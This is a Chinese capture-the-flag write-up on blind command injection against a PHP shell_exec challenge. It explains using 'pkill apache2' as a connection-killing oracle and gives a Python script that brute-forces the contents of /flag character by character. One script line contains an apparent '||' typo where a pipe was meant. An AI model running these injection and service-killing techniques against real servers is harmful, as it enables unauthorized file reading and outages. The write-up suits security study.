一道命令执行盲注题目

题目描述

因为环境关了,所以就简述一下。

题目就一个index.php,源码如下:

<?php

$cmd = $_GET['cmd'] ?? '';

if (!$cmd) {
    highlight_file(__FILE__);
    die();
}

shell_exec('timeout -s SIGKILL 0.1 sh -c -- ' . escapeshellarg('sh -c -- ' . escapeshellarg($cmd) . ' ; sleep 1'));

题目环境是无法外连的,各种权限卡的也很死,基本上就只能读吧。

还挺简单?

题目分析

首先这里执行的是sh -c命令,用于在一个新的shell进程中执行字符串命令。

sh -c -- 'COMMAND'

前面的timeout用于在指定的时间后向运行的命令发送一个信号来停止它,在这里在0.1秒后向sh -c命令发送 SIGKILL 信号来杀掉它。同时因为sh -c的执行结果也是没有回显的,因此也不能直接cat去读文件。

escapeshellarg函数会避免用户拼接自己的命令来逃脱timeout的限制。至于为什么用两个escapeshellarg套了一下,现在我是看不出有什么意义的。不过当时做的时候,我一直觉得这玩意儿这么组合是有问题的,但其实escapeshellarg只有和escapeshellcmd组合才会产生问题,然后浪费了好多时间看这些单引号……所以思路真的很重要呀😢

解题流程

这道题目叫blind,结合这个情况也能猜到是盲注。这里就知道timeout的作用了,因为没有布尔回显差异,所以无法用布尔盲注,而sleep这类延时命令也被timeout限制了。

所以第一考点就是,找到一个可以让服务器回显产生差异的命令。有两个,pkill apache2kill -9 -1,它们都会杀掉当前的TCP连接。执行的效果如下

然后我们就可以构造一个if [ expression ]; then COMMAND; fi来写盲注的脚本。利用的是在与服务器连接断开后requests.get会发生报错。

try:
    response = requests.get(url, params=param_data)
except:
    result += chr(char)
    print("Extracted so far: " + result)
    break

下面理所当然得就想到读/flag,但这里其实还有一个坑。在if [ "$( cut -c1 /flag)" = "a" ];这样读的时候会发现,读不出任何内容。而if [ -r /flag]又判断出/flag是可读的,但用判断文件的表达式if [ -f /flag]却是False。当时我就晕了,就怎么都想不到/flag是个目录😭

这时应该用if [ -d /flag]确定/flag是个目录

如果我继续做的话,首先用if [ "$(ls /flag | wc -l)" = "1" ]判断出/flag下有几个条目,这里判断出有一个。

然后用if [ "$( ls /flag|cut -c1 )" = "9" ];爆破出文件名。

import requests
import time

url = "http://10.211.55.12/xman/"  # Target URL
result = ""

for i in range(1, 1000):  # adjust as needed
    param_data = {}
    for char in range(32, 129):
        injection_str = f"if [ \"$(ls /flag || cut -c{i})\" = \"{chr(char)}\" ];then pkill apache2;fi"
        param_data['cmd'] = injection_str  # adjust parameter name accordingly
        time.sleep(0.04)
        try:
            response = requests.get(url, params=param_data)
        except:
            result += chr(char)
            print("Extracted so far: " + result)
            break
    else:
        print("Extraction completed.")
        break

然后就可以用逐字符猜解出flag了

injection_str = f"if [ \"$( cut -c{i} /flag/981y2hsdasd)\" = \"{chr(char)}\"  ];then pkill apache2;fi"